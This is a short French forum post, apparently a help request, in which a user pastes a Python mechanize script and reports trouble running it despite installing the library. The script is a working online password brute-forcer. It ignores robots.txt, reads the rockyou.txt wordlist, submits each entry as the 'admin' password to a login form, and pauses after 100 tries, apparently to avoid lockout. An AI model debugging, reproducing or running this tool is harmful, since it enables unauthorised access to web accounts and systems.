salut ce code produit
Code : Sélectionner tout - Visualiser dans une fenêtre à part
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
 
 
# -*- coding: utf-8 -*-
"""
Created on Fri Feb  4 21:44:31 2022
 
@author: User
"""
 
import mechanize
import time
br = mechanize.Browser()
 
br.set_handle_equiv(True)
br.set_handle_gzip(True)
br.set_handle_redirect(True)
br.set_handle_referer(True)
br.set_handle_robots(False)
 
i = 0
with open("rockyou.txt") as infile:
    for passw in infile:
        passw = passw.rstrip()
        print("ATTEMPT", i, passw)
        r = br.open('URL')
        html = r.read()
        br.select_form("logonForm")
        br.form['username'] = "admin"
        br.form['password'] = passw
        br.submit()
        resp = br.response().read()
        #print ("ANSWER: %s", resp) # DEBUG
        if resp.find("Error") == -1:
                print ("Found Password: %s", passw)
                exit(0)
        i = i +1
        if i == 100 :
            time.sleep(300)
exit(1)
malgre que j'installe
pip install mechanize